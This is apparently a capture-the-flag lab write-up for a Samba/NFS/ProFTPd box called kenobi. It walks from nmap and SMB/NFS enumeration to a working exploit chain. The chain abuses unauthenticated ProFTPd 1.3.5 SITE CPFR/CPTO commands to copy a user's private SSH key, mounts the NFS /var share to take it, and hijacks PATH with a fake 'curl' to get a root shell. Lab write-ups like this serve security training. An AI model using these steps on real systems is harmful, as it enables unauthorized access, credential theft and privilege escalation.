NFS mount - ProFTPd exploitation - Path variable manipulation
Initial Recon
Starting off with the nmap scan
$ nmap 10.10.139.109 -vvv
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 08:29 CEST
Initiating Ping Scan at 08:29
Scanning 10.10.139.109 [2 ports]
Completed Ping Scan at 08:29, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:29
Completed Parallel DNS resolution of 1 host. at 08:29, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 08:29
Scanning 10.10.139.109 [1000 ports]
Discovered open port 80/tcp on 10.10.139.109
Discovered open port 445/tcp on 10.10.139.109
Discovered open port 139/tcp on 10.10.139.109
Discovered open port 111/tcp on 10.10.139.109
Discovered open port 21/tcp on 10.10.139.109
Discovered open port 22/tcp on 10.10.139.109
Discovered open port 2049/tcp on 10.10.139.109
Completed Connect Scan at 08:29, 3.85s elapsed (1000 total ports)
Nmap scan report for 10.10.139.109
Host is up, received syn-ack (0.064s latency).
Scanned at 2020-05-14 08:29:08 CEST for 4s
Not shown: 993 closed ports
Reason: 993 conn-refused
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack
22/tcp open ssh syn-ack
80/tcp open http syn-ack
111/tcp open rpcbind syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
2049/tcp open nfs syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.96 seconds
Let's enumerate with the FTP port => It runs a vulnerable service called ProFTPd 1.3.5, which can be our initial access ?
Port 22 is not vulnerable to anything - unless we find some valid credentials
Port 80 looks a bit interesting, has a disallowed entry /admin.html which is a rabbit hole - running gobuster on it din't reveal anything
Port 111 allows anonymous access to enumerate domain usernames
Port 139 & 445 allows a null session on the server and has an anonymous share - READ / WRITE access
Enumerating Port 2049 gives us a mountable share /var
Let's start off with the SMB shares !
$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.139.109
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 08:36 CEST
Nmap scan report for 10.10.139.109
Host is up (0.046s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.139.109\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.139.109\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.139.109\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 7.36 seconds
We have discovered 3 network shares !
\10.10.139.109\IPC$
\10.10.139.109\anonymous
\10.10.139.109\print$
And the default path for the anonymous share is C:\home\kenobi\share - Interesting !
$ smbclient //10.10.139.109/anonymous
Enter SAMBA\unknown's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 4 12:49:09 2019
.. D 0 Wed Sep 4 12:56:07 2019
log.txt N 12237 Wed Sep 4 12:49:09 2019
9204224 blocks of size 1024. 6877112 blocks available
The log.txt has alot of information regarding the FTP access and even displays us a critical information regarding the user kenobi's ssh access :)
$ head -n 33 log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
So what they are doing is - they are generating a ssh-key for which the user kenobi's private key is stored in /home/kenobi/.ssh/id_rsa
Let's now enumerate the NFS service using nmap scripts
$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.139.109
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 09:17 CEST
Nmap scan report for 10.10.139.109
Host is up (0.045s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
Getting Foothold
Since we've enumerated all the services let's now make some mental notes !
The log.txt tells us the location of the user kenobi's ssh-key, but how do we access it ?
Enumeration of the NFS tells us that the /var of the target system is mountable, even if we mount what's the use?
The default path of the anonymous smb share is /home/kenobi/share !
The ProFTPd is vulnerable to mod_copy functionality => which basically copies information from the source to the destination, even if we try to copy the ssh-key to some location, how can we access it ? can we access it if we copy it our smb share?
Let's just try exploiting the FTP service :)
The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination
We’re now going to copy Kenobi’s private key using SITE CPFR and SITE CPTO commands
$ nc 10.10.139.109 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.139.109]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
quit
221 Goodbye.
^C
We knew that the /var directory was a mountable, So we’ve now moved Kenobi’s private key to the /var/tmp directory
Let’s mount the /var/tmp directory to our machine
mkdir nfs
sudo mount 10.10.139.109:/var nfs/
ls -la nfs/
Now let's copy the private key from the /var/tmp/id_rsa to our local directory and provide 600 permission to the key and SSH into the machine as kenobi
/usr/bin/menu looks suspicious, let's run that binary
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
Tried all the options, nothing vulnerable to command injection type of attacks :(
Let's strings that binary and look for any juicy info and yes we find few commands which are responsible to display all the menu's results such as
status check => curl command
kernel config => uname command
ifconfig => ifconfig command
But here is the catch, none of these above commands are interpreted with thier full path such as, the /usr/bin/menu doesn't execute the status check operation with the full path of the system command as /usr/bin/curl instead it uses the curl command directly, so how do we manipulate this ? Can we jus create our own curl executable as /bin/sh and supply it to our menu program so that we get a root shell?
kenobi@kenobi:/usr/bin$ cd /tmp/
kenobi@kenobi:/tmp$ echo "/bin/sh" > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=$PWD:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
